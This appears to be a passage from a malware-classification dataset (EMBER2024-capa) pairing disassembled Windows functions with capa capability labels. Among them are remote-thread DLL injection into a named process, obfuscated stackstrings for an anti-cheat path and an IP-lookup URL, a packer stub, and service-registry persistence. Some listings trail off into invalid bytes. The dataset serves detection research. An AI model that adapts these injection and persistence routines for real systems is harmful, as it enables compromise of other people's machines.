joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14012eb60
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x14012eba2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x14012ebe9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x14012ec42
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x14012ec00
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x14012ec83
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14015f332]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14015f333]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x14012ec50
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x14012ed30
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14012ed6a
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14012ed6f
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14012edb8
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x14012edb8
dec r8
sub rdx, 1
jne 0x14012ed9e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x1401304cc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140130516
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140130516
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140130516
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140130516
cmp dword [rcx + 0x84], 0xe
jbe 0x140130516
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140130518
xor al, al
add rsp, 0x28
ret
Function at 0x140002dc0
Capabilities:
Create thread
Enumerate processes
Inject thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x3a0
mov rax, qword [0x140011040]
xor rax, rsp
mov qword [rsp + 0x390], rax
cmp qword [rcx + 0x18], 0xf
mov rsi, rdx
mov r14, rcx
jbe 0x140002df5
mov r14, qword [rcx]
cmp qword [rdx + 0x18], 0xf
jbe 0x140002dff
mov rsi, qword [rdx]
xor r15d, r15d
lea rbx, [r15 - 1]
nop word [rax + rax]
xor edx, edx
mov ebp, r15d
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, rbx
je 0x140002ea5
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140002ea5
mov qword [rsp + 0x38], r15
lea rax, [rsp + 0x280]
mov qword [rsp + 0x30], r15
lea r8, [rsp + 0x6c]
mov dword [rsp + 0x28], 0x104
mov r9d, ebx
xor edx, edx
mov qword [rsp + 0x20], rax
mov ecx, __current_exception_context
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jle 0x140002e8d
mov rdx, rsi
lea rcx, [rsp + 0x280]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140002ea1
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140002e40
jmp 0x140002ea5
mov ebp, dword [rsp + 0x48]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
test ebp, ebp
je 0x140002e10
mov r8d, ebp
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140002f98
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x140002f8f
nop dword [rax]
cmp byte [r14 + rbx + 1], r15b
lea rbx, [rbx + 1]
jne 0x140002f10
lea r9, [rbx + 1]
mov qword [rsp + 0x20], r15
mov r8, r14
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002f7a
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
mov qword [rsp + 0x30], r15
xor edx, edx
mov dword [rsp + 0x28], r15d
mov rcx, rdi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
je 0x140002f7a
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x390]
xor rcx, rsp
call fcn.14000ab70
mov rbx, qword [rsp + 0x3e0]
add rsp, 0x3a0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret

Function at 0x140003820
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x28
cmp qword [rcx + 0x18], 0xf
jbe 0x14000382e
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140003844
test al, 0x10
jne 0x140003844
mov al, 1
add rsp, 0x28
ret
xor al, al
add rsp, 0x28
ret
Function at 0x140006d50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x10], rax
lea rsi, [0x140011ac0]
mov qword [rbp - 0x10], rsi
mov word [rbp - 0x30], 0x3a43
mov byte [rbp - 0x2e], 0x5c
xorps xmm0, xmm0
movdqa xmmword [0x140011ac0], xmm0
xor edi, edi
mov qword [0x140011ad0], rdi
lea ecx, [rdi + 3]
call fcn.14000ab90
mov qword [0x140011ac0], rax
mov qword [0x140011ac8], rax
lea rbx, [rax + 3]
mov qword [0x140011ad0], rbx
lea r8d, [rdi + 3]
lea rdx, [rbp - 0x30]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [0x140011ac8], rbx
mov dword [rbp - 0x2c], 0x646e6957
mov word [rbp - 0x28], 0x776f
mov byte [rbp - 0x26], 0x73
mov qword [0x140011ad8], rdi
xorps xmm0, xmm0
movdqa xmmword [0x140011ae0], xmm0
lea ecx, [rdi + 7]
call fcn.14000ab90
mov qword [0x140011ad8], rax
mov qword [0x140011ae0], rax
lea rbx, [rax + 7]
mov qword [0x140011ae8], rbx
lea r8d, [rdi + 7]
lea rdx, [rbp - 0x2c]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [0x140011ae0], rbx
mov dword [rbp - 0x20], 0x7361455c
mov dword [rbp - 0x1c], 0x746e4179
mov dword [rbp - 0x18], 0x65684369
mov word [rbp - 0x14], 0x7461
mov byte [rbp - 0x12], 0x2e
xorps xmm0, xmm0
movdqa xmmword [0x140011af0], xmm0
mov qword [0x140011b00], rdi
lea ecx, [rdi + 0xf]
call fcn.14000ab90
mov qword [0x140011af0], rax
mov qword [0x140011af8], rax
lea rbx, [rax + 0xf]
mov qword [0x140011b00], rbx
lea r8d, [rdi + 0xf]
lea rdx, [rbp - 0x20]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [0x140011af8], rbx
mov word [rbp - 0x30], 0x7865
mov byte [rbp - 0x2e], 0x65
mov qword [0x140011b08], rdi
xorps xmm0, xmm0
movdqa xmmword [0x140011b10], xmm0
lea ecx, [rdi + 3]
call fcn.14000ab90
mov qword [0x140011b08], rax
mov qword [0x140011b10], rax
lea rbx, [rax + 3]
mov qword [0x140011b18], rbx
lea r8d, [rdi + 3]
lea rdx, [rbp - 0x30]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [0x140011b10], rbx
mov rax, rsi
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
add rsp, 0x50
pop rbp
ret
Function at 0x1400075b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x40], rax
lea rsi, [0x1400119d0]
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x24], 0x7468
xorps xmm0, xmm0
movdqa xmmword [0x1400119d0], xmm0
xor edi, edi
mov qword [0x1400119e0], rdi
lea ecx, [rdi + 2]
call fcn.14000ab90
mov qword [0x1400119d0], rax
lea rdx, [rax + 2]
mov qword [0x1400119e0], rdx
movzx ecx, word [rsp + 0x24]
mov word [rax], cx
mov qword [0x1400119d8], rdx
mov word [rsp + 0x20], 0x7074
mov byte [rsp + 0x22], 0x73
mov qword [0x1400119e8], rdi
xorps xmm0, xmm0
movdqa xmmword [0x1400119f0], xmm0
lea ecx, [rdi + 3]
call fcn.14000ab90
mov qword [0x1400119e8], rax
mov qword [0x1400119f0], rax
lea rbx, [rax + 3]
mov qword [0x1400119f8], rbx
lea r8d, [rdi + 3]
lea rdx, [rsp + 0x20]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [0x1400119f0], rbx
mov dword [rsp + 0x24], 0x6d2f2f3a
mov byte [rsp + 0x28], 0x79
xorps xmm0, xmm0
movdqa xmmword [0x140011a00], xmm0
mov qword [0x140011a10], rdi
lea ecx, [rdi + 5]
call fcn.14000ab90
mov qword [0x140011a00], rax
mov qword [0x140011a08], rax
lea rbx, [rax + 5]
mov qword [0x140011a10], rbx
lea r8d, [rdi + 5]
lea rdx, [rsp + 0x24]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [0x140011a08], rbx
mov dword [rsp + 0x30], 0x65747865
mov dword [rsp + 0x34], 0x6c616e72
mov qword [0x140011a18], rdi
xorps xmm0, xmm0
movdqa xmmword [0x140011a20], xmm0
lea ecx, [rdi + 8]
call fcn.14000ab90
mov qword [0x140011a18], rax
lea rdx, [rax + 8]
mov qword [0x140011a28], rdx
mov rcx, qword [rsp + 0x30]
mov qword [rax], rcx
mov qword [0x140011a20], rdx
mov word [rsp + 0x20], 0x7069
mov byte [rsp + 0x22], 0x2e
xorps xmm0, xmm0
movdqa xmmword [0x140011a30], xmm0
mov qword [0x140011a40], rdi
lea ecx, [rdi + 3]
call fcn.14000ab90
mov qword [0x140011a30], rax
mov qword [0x140011a38], rax
lea rbx, [rax + 3]
mov qword [0x140011a40], rbx
lea r8d, [rdi + 3]
lea rdx, [rsp + 0x20]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [0x140011a38], rbx
mov word [rsp + 0x24], 0x6f63
mov byte [rsp + 0x26], 0x6d
mov qword [0x140011a48], rdi
xorps xmm0, xmm0
movdqa xmmword [0x140011a50], xmm0
lea ecx, [rdi + 3]
call fcn.14000ab90
mov qword [0x140011a48], rax
mov qword [0x140011a50], rax
lea rbx, [rax + 3]
mov qword [0x140011a58], rbx
lea r8d, [rdi + 3]
lea rdx, [rsp + 0x24]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [0x140011a50], rbx
mov dword [rsp + 0x20], 0x7761722f
xorps xmm0, xmm0
movdqa xmmword [0x140011a60], xmm0
mov qword [0x140011a70], rdi
lea ecx, [rdi + 4]
call fcn.14000ab90
mov qword [0x140011a60], rax
lea rdx, [rax + 4]
mov qword [0x140011a70], rdx
mov ecx, dword [rsp + 0x20]
mov dword [rax], ecx
mov qword [0x140011a68], rdx
mov rax, rsi
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x14000b660
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000b6aa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000b6aa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000b6aa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000b6aa
cmp dword [rcx + 0x84], 0xe
jbe 0x14000b6aa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000b6ac
xor al, al
add rsp, 0x28
ret
Function at 0x458640
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x45864d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x45865d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x458645
lea eax, [rcx + 1]
jmp 0x45866b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x45867e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x458664
sub eax, 3
jb 0x45869e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x4586ed
sar eax, 1
movsxd rbp, eax
jb 0x4586d4
jmp 0x4586ac
add ebx, ebx
jne 0x4586aa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x4586d4
inc ecx
add ebx, ebx
jne 0x4586ba
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x4586d4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x4586cd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x4586bc
add ecx, 2
jmp 0x4586d9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.00458602
jmp 0x45864d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2200
mov dl, 2
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x45873d
cmp rsi, rcx
jae 0x458745
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x458724
cmp al, 0x8f
ja 0x458724
cmp byte [rsi - 2], 0xf
je 0x45872a
sub al, 0xe8
cmp al, 1
ja 0x45870e
cmp rsi, rcx
jae 0x458745
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x458714
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x458745
lodsb al, byte [rsi]
jmp 0x458724
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x56000]
mov eax, dword [rdi]
or eax, eax
je 0x4587a2
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x58000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x458752
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x45879c
mov qword [rbx], rax
add rbx, 8
jmp 0x458772
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.00458825], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.00458825
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x458815
sub rsp, 0xffffffffffffff80
jmp 0x4014c0
Function at 0x140227ae0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x140227b01
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140227b2e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140227b30
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140227b89
test ecx, ecx
jle 0x140227b69
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140227b89
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140227b89
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
sbb cl, byte [rcx + rax*4]
sti
mov eax, dword [rdx + rax*4 - 0x1221988f]
push rdx
int 7
sbb eax, 0xce44e092
call 0x18f0b08e9
xchg ebp, eax
fcom st(1)
test dword [rdx], esi
sub edi, ecx
sbb al, byte [rax + 0x14]
invalid
mov ebp, 0x4312497d
xlatb
test al, 0x4b
in eax, dx
mov bl, 0x89
mov bl, 0x63
jge 0x140731d83
mov ebp, dword [rsi - 0x56]
invalid
Function at 0x140227bb0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140227be1
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140227bf8
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140227c1b
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140227c1d
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140227c59
mov qword [rsp + 0x38], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x38]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140227cee
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140227c94
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140227cce
nop dword [rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140227cee
cmp rbx, rax
ja 0x140227ca0
test rbx, rbx
je 0x140227cee
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
mov rsi, qword [rsp + 0x48]
sub rbp, rbx
mov rbx, qword [rsp + 0x30]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
invalid
Function at 0x140006f7c
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x1400f5040]
xor rax, rsp
mov qword [rbp - 8], rax
xor r12d, r12d
mov r15, r8
mov qword [rdx], r12
mov rbx, rdx
mov qword [rdx + 8], r12
mov r14d, r12d
mov dword [rdx + 0x10], r12d
movsxd rsi, dword [r8 + 0x3c]
add rsi, r8
movzx eax, word [rsi + 0x14]
lea rdi, [rsi + 0x18]
add rdi, rax
cmp r12w, word [rsi + 6]
jae 0x1400070b1
xorps xmm0, xmm0
mov qword [rbp - 0x18], r12
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x10], r12
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], r12b
jne 0x140006fea
mov rdx, rdi
lea rcx, [rbp - 0x28]
call fcn.140003d24
mov rdx, qword [rbp - 0x10]
lea rax, [rbp - 0x28]
mov rcx, qword [rbp - 0x28]
cmp rdx, 0xf
cmova rax, rcx
cmp qword [rbp - 0x18], 5
jne 0x14000706e
cmp dword [rax], 0x7865742e
jne 0x14000706e
cmp byte [rax + 4], 0x74
jne 0x14000706e
mov r9d, dword [rdi + 0xc]
mov r8d, r12d
mov r11d, dword [rdi + 8]
add r9, r15
mov qword [rbp - 0x40], rdi
mov r10, r12
mov qword [rbp - 0x38], r9
test r11, r11
je 0x140007059
movzx eax, byte [r9 + r10]
inc r10
crc32 r8d, eax
cmp r10, r11
jb 0x140007046
movups xmm0, xmmword [rbp - 0x40]
mov dword [rbp - 0x30], r8d
movsd xmm1, qword [rbp - 0x30]
movups xmmword [rbx], xmm0
movsd qword [rbx + 0x10], xmm1
cmp rdx, 0xf
jbe 0x14000709d
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007098
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400070d9
call fcn.1400b3484
movzx eax, word [rsi + 6]
inc r14d
add rdi, 0x28
cmp r14d, eax
jl 0x140006fd7
mov rax, rbx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400b3420
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x1400091dc
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x1400f5040]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
mov rdi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x140009244
mov rdx, rdi
lea rcx, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov rcx, rbx
test eax, eax
je 0x140009274
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140009224
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400b3420
mov rbx, qword [rsp + 0x178]
add rsp, 0x160
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
mov dword [0x1401213d0], eax
jmp 0x140009253
Function at 0x140009778
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1400f5040]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, rdx
mov rsi, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
mov qword [rbp - 0x40], 0x2f
lea rdx, [rbp - 0x40]
call fcn.1400042dc
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x28], 0x22
mov rcx, qword [rbp - 0x40]
mov qword [rbp - 0x20], rcx
movups xmm0, xmmword [str.SystemCurrentControlSetServices_]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400d9d00]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x1400d9d10]
mov word [rax + 0x20], cx
xor edi, edi
mov byte [rax + 0x22], dil
mov rdx, rbx
lea rcx, [rbp - 0x38]
call fcn.140003598
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova rdx, qword [rbp - 0x38]
lea r8, [rbp - 0x48]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1400098fa
mov byte [rbp - 0x50], 1
lea ebx, [rdi + 4]
mov dword [rsp + 0x28], ebx
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400098fa
mov byte [rbp - 0x4f], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp - 0x4f]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400098fa
mov byte [rbp - 0x4e], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp - 0x4e]
mov qword [rsp + 0x20], rax
